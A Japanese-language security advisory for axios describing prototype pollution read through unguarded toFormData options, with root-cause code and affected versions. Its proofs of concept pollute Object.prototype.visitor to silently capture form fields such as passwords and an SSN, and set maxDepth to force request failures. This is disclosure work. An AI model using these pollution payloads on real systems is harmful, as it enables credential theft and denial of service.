Axios: axiosの`toFormData`オプションにおけるプロトタイプ汚染の脆弱性
## 概要
Axiosのフォームシリアライゼーションは、内部のオプションオブジェクトから`visitor`、`maxDepth`、`dots`、`indexes`、`metaTokens`、および`Blob`の値を読み取りますが、自身のプロパティであるかどうかをチェックする処理(own-property guards)がありません。もし、同じプロセス内で別の場所で`Object.prototype`が汚染されている場合、これらの継承された値が、Axiosがマルチパート形式やURLエンコード形式でリクエストボディをシリアライズする方法に影響を与える可能性があります。
Axios自体がプロトタイプ汚染の発生源ではありません。これは読み込み側の脆弱性であり、Axiosは既存の同じプロセス内での汚染状態を、リクエストのシリアライゼーションの変更やリクエストの失敗に繋げます。
## 影響
影響は、どのプロパティが汚染されているか、およびアプリケーションが使用するAxiosのどのシリアライゼーションパスかによって異なります。
`dots`、`indexes`、または`metaTokens`が汚染されている場合、フィールド名が変更され、受信側のサービスが、呼び出し元が意図したデータとは異なるデータを解析する可能性があります。`maxDepth`が汚染されている場合、ネストされたフォームの送信が`ERR_FORM_DATA_DEPTH_EXCEEDED`エラーを引き起こし、影響を受けるワークフローにおいて、リクエストレベルまたはサービスレベルでのDoS攻撃が発生する可能性があります。`visitor`が汚染されている場合、攻撃者が`Object.prototype`に関数を配置できる場合、その関数がシリアライザーのビジターとして実行される可能性がありますが、この状態は一般的に、より深刻な同じプロセス内でのコード実行や悪意のある依存関係の脆弱性を示唆しており、慎重に検討する必要があります。
## 影響を受ける機能
影響を受けるもの:
- `axios.toFormData()`。
- プレーンオブジェクトを`multipart/form-data`にシリアライズする`transformRequest`のパス。
- 同じヘルパーに依存するURLエンコード形式のフォームシリアライゼーションのパス。
- 関連するプロパティが自身のプロパティとして存在しない場合に適用される`formSerializer`オプションのデフォルト値。
影響を受けないもの:
- JSON形式のリクエストボディ。
- `toFormData()`を呼び出さないリクエスト。
- `Object.prototype`が汚染されていないプロセス。
## 技術的な詳細
`lib/helpers/toFormData.js`は、`utils.toFlatObject()`を使用して、呼び出し元のオプションとデフォルト値をマージします。`options`が`undefined`の場合、`toFlatObject()`はデフォルトオブジェクトをそのまま返します。
```js
{
metaTokens: true,
dots: false,
indexes: false
}
```
このデフォルトのオブジェクトは、プロトタイプチェーンに `Object.prototype` を持っています。 `toFormData()` メソッドは、次に、動作に影響を与える値を直接読み込みます。
```js
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;
```
これらの読み込みによって、継承された汚染されたプロパティが解決される可能性があります。
ローカルでのコードレビューで、`v1.18.1` での直接読み込みが確認されました。 タグの確認により、オプションベースのフォームシリアライザーが `v0.28.0` 以降で存在し、`maxDepth` がフォームの再帰修正に関連する `1.x` のバージョンで導入されたことがわかります。
## 攻撃の概念実証
制限されたローカルでのデモンストレーション:
```js
Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, {
headers: { 'Content-Type': 'multipart/form-data' }
});
```
期待される安全な動作は、呼び出し元が独自の `formSerializer.maxDepth` を設定しない限り、デフォルトの最大深度が使用されることです。 現在の動作では、継承された値が読み込まれ、`ERR_FORM_DATA_DEPTH_EXCEEDED` エラーが発生する可能性があります。
シリアライザーの改ざんに関しては、`Object.prototype.dots = true` を汚染すると、ネストされたフィールドの命名がブラケット表記からドット表記に変更されます。これは、呼び出し元がその動作を明示的に選択していない場合に発生します。
## 対策
プロトタイプ汚染が確認されているプロセスで、攻撃者が制御するオブジェクトをフォームデータとしてシリアライズしないようにします。 一部の対策として、呼び出し元は、`visitor`、`maxDepth`、`dots`、`indexes`、`metaTokens`、および `Blob` を含む、すべての関連キーに対して明示的な安全な値を設定する独自の `formSerializer` オブジェクトを渡すことができます。
<details>
<summary><h3">元のレポート</h3></summary>
### 概要
axios v1.18.1には、フォームデータシリアル化の処理において、読み込み側のプロトタイプ汚染を引き起こす脆弱性があります。6つのオプションプロパティ(`visitor`、`maxDepth`、`dots`、`indexes`、`metaTokens`、`Blob`)が、`Object.prototype`を継承した単純なJavaScriptオブジェクトから、`hasOwnProperty`のチェックなしで読み込まれます。もし`Object.prototype`が他の場所で汚染されている場合(これは、脆弱な依存関係を持つnpmパッケージがインストールされた場合に起こりやすい)、これらの汚染された値が、axiosのフォームシリアル化の動作を静かに制御します。
最も影響が大きいのは`visitor`です。`Object.prototype.visitor`が汚染されている場合、multipart形式またはURLエンコード形式のフォームシリアル化の際に、キーと値のペアごとにこの関数が呼び出されます。この関数には、値、キー、パス、および内部ヘルパー関数が引数として渡されます。
### 詳細
#### 根本原因
攻撃のプロセスは3つのステップで構成されます。
**ステップ1:`formSerializer`は安全に読み込まれるが、`undefined`が伝播する**
`lib/defaults/index.js`において、デフォルトの`transformRequest`関数は、`own()`ヘルパーを使用して、設定から`formSerializer`を読み込みます。この`own()`ヘルパーは、`hasOwnProp`を強制します。
```js
const formSerializer = own(this, 'formSerializer');
```
ユーザーが`formSerializer`を明示的に設定しない場合、これは正しく`undefined`を返します。そして、この`undefined`が、`toFormData()`関数の`options`パラメータとして渡されます。
```js
return toFormData(data, _FormData && new _FormData(), formSerializer);
// ^^^^^^^^^^^^ undefined
```
**ステップ2: `toFlatObject`は、デフォルトのプレーンオブジェクトを返す**
`lib/helpers/toFormData.js`の中では、`options`(これは`undefined`)が、`utils.toFlatObject()`によってデフォルト値と結合されます。
```js
options = utils.toFlatObject(
options, // undefined
{ metaTokens: true, dots: false, indexes: false }, // プレーンオブジェクトリテラル
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
```
`toFlatObject`は、nullまたはundefinedのソースに対して、早期に値を返します。
```js
// lib/utils.js:607
if (sourceObj == null) return destObj;
```
`options`が`undefined`であるため、この関数は`destObj`を変更せずに返します。これは、プレーンオブジェクト`{ metaTokens: true, dots: false, indexes: false }`です。このオブジェクトのプロトタイプは`Object.prototype`です。
**ステップ3: オプションは、`hasOwnProp`のチェックなしで読み込まれる**
6つのオプションプロパティが、プレーンオブジェクトから直接読み込まれます。
```js
const metaTokens = options.metaTokens; // 117行目
const visitor = options.visitor || defaultVisitor; // 119行目
const dots = options.dots; // 120行目
const indexes = options.indexes; // 121行目
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // 122行目
const maxDepth = options.maxDepth === undefined // 123行目
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
```
これらの読み込みのいずれも`utils.hasOwnProp()`を使用していません。`options`オブジェクトが`Object.prototype`から継承しているため、悪意のある依存関係によって`Object.prototype`に設定されたプロパティは、プロトタイプチェーンを通じて解決されます。
#### 既存の防御機能がこれを検知できなかった理由
axiosには、プロトタイプ汚染に対する広範な防御機能が備わっています。しかし、これらの防御機能はすべて、`mergeConfig`によって作成される**config**オブジェクト(`Object.create(null)`を返す)に焦点を当てています。`toFormData`関数は、その境界の外にある独自の内部オプションオブジェクトを作成し、その内部オブジェクトに対する6つの読み込み操作は、監査されていませんでした。
### 実証実験 (PoC)
#### 再現手順
#### 環境
Node.jsとnpmがインストールされた環境であれば、どの環境でも可能です。以下の環境でテスト済みです。
- Node.js v24.15.0, npm 11.13.0
- axios v1.18.1 (執筆時点での最新リリース)
##### ステップ1: 新しいプロジェクトを作成
```bash
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
```
##### ステップ2: 実証実験ファイルを作成
`poc.mjs`というファイルを作成し、以下の内容を記述します。
```js
import axios from 'axios';
import http from 'http';
// 侵害された依存関係からの汚染をシミュレート
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// 情報漏洩: visitorがすべてのフォームフィールドをインターセプト
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
```
```
// DoS: ネストされたオブジェクトが、汚染されたmaxDepthによって拒否される
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// エラー: ERR_FORM_DATA_DEPTH_EXCEEDED
// "オブジェクトが深すぎる(3レベル)。最大深度: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
```
##### ステップ3: PoCの実行
```bash
node poc.mjs
```
### 影響
#### 1. `visitor` を使用したデータ漏洩 (機密性: 高)
_汚染された `Object.prototype.visitor` 関数が、フォームデータのビジターとして呼び出されます:_
```js
visitor.call(formData, el, key, path, exposedHelpers)
```
_攻撃者は以下の情報を取得します:_
_- **`value`** — シリアライズされている生のデータ (パスワード、トークン、個人情報、APIキー)_
_- **`key`** — フィールド名_
_- **`path`** — 完全なパス配列 (例: `['profile', 'address', 'street']`)_
_- **`exposedHelpers`** — `defaultVisitor`、`convertValue`、`isVisitable` などの内部ヘルパー_
_`helpers.defaultVisitor` に委譲することで、攻撃は完全に透過的であり、リクエストは通常通り成功し、サーバーは完全なデータを受け取ります。このデータ漏洩は、呼び出し元とサーバーの両方にとって不可視です。_
#### 2. `maxDepth` を使用したサービス拒否 (可用性: 低)
_汚染された `Object.prototype.maxDepth` が `1` または `2` に設定されていると、ある程度ネストされたフォームデータのリクエストで `ERR_FORM_DATA_DEPTH_EXCEEDED` エラーが発生します。ネストされたオブジェクトをフォームデータとして送信するアプリケーション (APIで `profile[name]`、`address[city]` などを許可する場合など) は、予期しないエラーが発生します。_
#### 3. `dots`, `indexes`, `metaTokens` を使用したデータ破損 (信頼性: 低)
_これらのオプションを変更すると、フォームフィールド名のシリアライゼーション形式が変更されます:_
_- **`dots: true`** — ブラケット表記 (`user[name]`) をドット表記 (`user.name`) に変更します。_
_- **`indexes: true`** — 配列のシリアライゼーション (`items[]`) をインデックス表記 (`items[0]`, `items[1]`) に変更します。_
_- **`metaTokens: false`** — `obj{}` キーを生のJSON文字列に変更します。_
_サーバーが送信されたフォームデータを誤解釈し、データが静かに破損する可能性があります。_
</details>
---
影響を受けるパッケージ:
- npm (JavaScript) axios: 影響を受けるバージョン >= 0.28.0, < 0.34.0、修正済みバージョン 0.34.0
- npm (JavaScript) axios: 影響を受けるバージョン >= 1.15.1, < 1.20.0、修正済みバージョン 1.20.0